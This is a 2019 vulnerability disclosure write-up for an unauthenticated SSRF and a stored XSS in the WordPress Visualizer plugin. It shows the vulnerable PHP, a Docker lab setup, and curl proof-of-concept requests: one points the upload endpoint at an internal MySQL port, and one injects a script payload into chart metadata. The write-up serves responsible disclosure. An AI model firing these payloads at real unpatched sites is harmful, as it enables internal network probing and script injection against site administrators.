Wordpress Visualizer plugin XSS and SSRF

October 04, 2019

The Visualizer plugin v3.3.0 and below for Wordpress suffers from two unauthenticated vulnerabilities - a blind SSRF and a stored XSS. In both cases, these vulnerabilities are made more severe by the fact the WP-JSON REST API endpoints for this plugin did not enforce any sort of access controls.

The XSS and SSRF have been assigned CVE-2019-16931 and CVE-2019-16932 respectively. They are also reported on wpvulndb:


Setup a Docker environment using this compose config: https://docs.docker.com/compose/wordpress/

However, rather than running docker-compose up -d, just run docker-compose up as we want to see the output from the MySQL server to prove SSRF (for the XSS we don't need the server output).

Go through the standard Wordpress install process, and then install v3.3.0 of the Visualizer plugin.

To enable the WP-JSON URL style used in the PoCs below, you'll also want to change the permalink style to something other than "plain" in Settings > Permalinks.


First, I'll cover the SSRF. In this case, we're interested in the /wp-json/visualizer/v1/upload-data endpoint registered within the classes/Visualizer/Gutenberg/Block.php file:

    'visualizer/v' . VISUALIZER_REST_VERSION,
        'methods'  => 'POST',
        'callback' => array( $this, 'upload_csv_data' ),
        'args'     => array(
            'url' => array(
                'sanitize_callback' => 'esc_url_raw',

The purpose of this endpoint appears to be to import CSV data into a Visualizer chart. The callback upload_csv_data function jumps straight into matters, only requiring the URL value provided in the request passes the PHP FILTER_VALIDATE_URL filter.

public function upload_csv_data( $data ) {
        if ( $data['url'] && ! is_wp_error( $data['url'] ) && filter_var( $data['url'], FILTER_VALIDATE_URL ) ) {
            $source = new Visualizer_Source_Csv_Remote( $data['url'] );

A quick and easy proof of SSRF based on the Docker environment we built is to send a request to the local MySQL database. While MySQL doesn't speak HTTP natively, the connection should still be attempted and we should receive a confirmation of sorts that a connection attempt occurred (via the MySQL container's output). Here is the PoC:

curl -i -s -X $'POST' \
    -H $'Host:' \
    --data-binary $'{\"url\":\"http://db:3306\"}' \

Note: was the IP of my Docker host, so you'll probably have to change this.

If you execute this curl command with the docker compose output visible, you should see the db_1 container output something like:

db_1         | 2019-09-19T10:31:56.474241Z 279 [Note] Got packets out of order

This is the result of the payload {"url":"http://db:3306"} in the POST body, which is instructing the plugin to load a CSV file from http://db:3306, which is the location of the local MySQL docker container.

The stored XSS

Like the SSRF, the stored XSS is also via the WP-JSON REST API, this time to the /wp-json/visualizer/v1/update-chart endpoint. This is also defined in classes/Visualizer/Gutenberg/Block.php:

    'visualizer/v' . VISUALIZER_REST_VERSION,
        'methods'  => 'POST',
        'callback' => array( $this, 'update_chart_data' ),
        'args'     => array(
            'id' => array(
                'sanitize_callback' => 'absint',

Inside the callback, there is also no access control being applied, and user input is saved directly to the post meta data associated with the chart id being targeted:

public function update_chart_data( $data ) {
    if ( $data['id'] && ! is_wp_error( $data['id'] ) ) {

        update_post_meta( $data['id'], Visualizer_Plugin::CF_CHART_TYPE, $data['visualizer-chart-type'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_SOURCE, $data['visualizer-source'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_DEFAULT_DATA, $data['visualizer-default-data'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_SERIES, $data['visualizer-series'] );
        update_post_meta( $data['id'], Visualizer_Plugin::CF_SETTINGS, $data['visualizer-settings'] );

With the ability to arbitrarily define these meta data values, it is imperative that the values are handled safely - but they are not. We can see in a sidebar content function, these values are being output into HTML without any escaping (in classes/Visualizer/Render/Page/Data.php):

$type              = get_post_meta( $this->chart->ID, Visualizer_Plugin::CF_CHART_TYPE, true );
$lib               = get_post_meta( $this->chart->ID, Visualizer_Plugin::CF_CHART_LIBRARY, true );
<span id="visualizer-chart-id" data-id="<?php echo $this->chart->ID; ?>" data-chart-source="<?php echo $source_of_chart; ?>" data-chart-type="<?php echo $type; ?>" data-chart-lib="<?php echo $lib; ?>"></span>

This is just one example of an attacker controlled meta data value being injected into the HTML. In this case, we're interested in <?php echo $type; ?>, as $type is being set above using a straight get_post_meta() call - looking at the markup, it appears a few others are likely vulnerable as well (related to the scheduling feature of the paid Pro version of the plugin).

When we put all this together, we can store our XSS payload as follows:

curl -i -s -k  -X $'POST' \
    -H $'Host:' -H $'Content-Type: application/json' \
    --data-binary $'{\"id\": 7, \"visualizer-chart-type\": \"\\\"><script>alert(1);</script><span data-x=\\\"\"}' \

Note: was the IP of my Docker host, so you'll probably have to change this. Also, my chart id was 7 but you may need to adjust that in the --data-binary payload.

Once you have executed this curl command, go back to the chart as an admin and go to edit it - we've corrupted the chart due to changing the type to an illegitimate value, but the alert should fire showcasing stored XSS.


  • 20/09/2019 - reported the vulnerabilities to the plugin vendor
  • 28/09/2019 - v3.3.1 released with fixes.
  • 28/09/2019 - CVEs assigned by MITRE
  • 04/10/2019 - PoCs published.